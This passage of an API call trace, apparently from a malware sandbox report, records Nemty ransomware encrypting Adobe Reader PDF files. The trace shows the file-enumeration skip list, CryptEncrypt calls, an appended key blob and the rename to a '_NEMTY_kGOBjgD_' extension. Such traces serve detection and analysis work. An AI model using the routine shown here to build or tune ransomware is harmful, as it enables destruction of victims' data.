(x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.102] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=64471) returned 1 [0189.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xfbd0) returned 0x6352c48 [0189.102] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.102] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xfbd0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xfbd0, lpOverlapped=0x0) returned 1 [0189.108] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.108] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xfbd0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xfbd0, lpOverlapped=0x0) returned 1 [0189.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.109] SetFilePointer (in: hFile=0x320, lDistanceToMove=64471, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfbd7 [0189.109] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.109] CloseHandle (hObject=0x320) returned 1 [0189.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.109] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.109] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0189.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0189.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.109] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\Dynamic.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\dynamic.pdf._nemty_kgobjgd_")) returned 1 [0189.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0189.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.110] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95a4, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0189.110] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".") returned 1 [0189.110] lstrcmpiW (lpString1="SignHere.pdf", lpString2="..") returned 1 [0189.110] lstrcmpiW (lpString1="SignHere.pdf", lpString2="...") returned 1 [0189.110] lstrcmpiW (lpString1="SignHere.pdf", lpString2="windows") returned -1 [0189.110] lstrcmpiW (lpString1="SignHere.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.110] lstrcmpiW (lpString1="SignHere.pdf", lpString2="rsa") returned 1 [0189.110] lstrcmpiW (lpString1="SignHere.pdf", lpString2="NTDETECT.COM") returned 1 [0189.110] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntldr") returned 1 [0189.110] lstrcmpiW (lpString1="SignHere.pdf", lpString2="MSDOS.SYS") returned 1 [0189.110] lstrcmpiW (lpString1="SignHere.pdf", lpString2="IO.SYS") returned 1 [0189.110] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0189.110] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0189.110] lstrcmpiW (lpString1="SignHere.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.110] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntuser.dat") returned 1 [0189.110] lstrcmpiW (lpString1="SignHere.pdf", lpString2="desktop.ini") returned 1 [0189.110] lstrcmpiW (lpString1="SignHere.pdf", lpString2="CONFIG.SYS") returned 1 [0189.110] lstrcmpiW (lpString1="SignHere.pdf", lpString2="RECYCLER") returned 1 [0189.111] lstrcmpiW (lpString1="SignHere.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.111] lstrcmpiW (lpString1="SignHere.pdf", lpString2="bootmgr") returned 1 [0189.111] lstrcmpiW (lpString1="SignHere.pdf", lpString2="programdata") returned 1 [0189.111] lstrcmpiW (lpString1="SignHere.pdf", lpString2="appdata") returned 1 [0189.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0189.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0189.111] Sleep (dwMilliseconds=0x5) [0189.117] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x245e81d0, dwHighDateTime=0x1d561e8)) [0189.117] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x245e81d0, dwHighDateTime=0x1d561e8)) [0189.117] GetLastError () returned 0x0 [0189.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.117] GetLastError () returned 0x0 [0189.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.117] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.117] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.117] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0189.117] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="9GEt08pLIRnDcO3tM1+X4Ed3k3Syl7dAFZxdZei15vyq7qsBBkof5zj7r2M06s2K\r\n8L+HjICgt4jRwfxS4PbULOGeuAYc5FAgOvrFyIal73XapIr4LwCHOIOXo1BmPbu9\r\nMKjyVvmBKiGTBIg8BdwmBh9mYbIvz3Yzti+Wtg6oaeYnm0reHBNQZ33CImfpYhPz\r\nv6VFzvjY5HSu6a59azt03AstZB8SDPnOaNE6I8voJ2vbTtU+5XawSoqDtTPwFEsF\r\nAYvhMDbGJdh38SSOSBHJ2g51l3DS1PaYi23OSXrTTWIyfarDfnFx44UlIenvhxlu\r\nhw1XBWze9AT3XreujTVFzA==\r\n", pcchString=0x653df5c) returned 1 [0189.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0189.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.118] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.118] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=38308) returned 1 [0189.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x95a0) returned 0x6352c48 [0189.118] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.118] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x95a0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x95a0, lpOverlapped=0x0) returned 1 [0189.122] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.122] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x95a0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x95a0, lpOverlapped=0x0) returned 1 [0189.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.122] SetFilePointer (in: hFile=0x320, lDistanceToMove=38308, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x95a4 [0189.122] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.122] CloseHandle (hObject=0x320) returned 1 [0189.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.122] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.123] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0189.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0189.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.123] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\SignHere.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\signhere.pdf._nemty_kgobjgd_")) returned 1 [0189.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0189.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.124] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17ff8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0189.124] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".") returned 1 [0189.124] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="..") returned 1 [0189.124] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="...") returned 1 [0189.124] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="windows") returned -1 [0189.124] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.124] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="rsa") returned 1 [0189.124] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="NTDETECT.COM") returned 1 [0189.124] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntldr") returned 1 [0189.124] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="MSDOS.SYS") returned 1 [0189.124] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="IO.SYS") returned 1 [0189.124] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0189.124] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0189.124] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.124] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntuser.dat") returned 1 [0189.124] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="desktop.ini") returned 1 [0189.124] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="CONFIG.SYS") returned 1 [0189.124] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="RECYCLER") returned 1 [0189.124] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.124] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="bootmgr") returned 1 [0189.124] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="programdata") returned 1 [0189.124] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="appdata") returned 1 [0189.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0189.124] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.124] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0189.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0189.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0189.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0189.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0189.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0189.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ed08, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0189.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0189.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404a8 [0189.125] Sleep (dwMilliseconds=0x5) [0189.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2460e330, dwHighDateTime=0x1d561e8)) [0189.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2460e330, dwHighDateTime=0x1d561e8)) [0189.132] GetLastError () returned 0x0 [0189.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.132] GetLastError () returned 0x0 [0189.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0189.132] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.133] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, 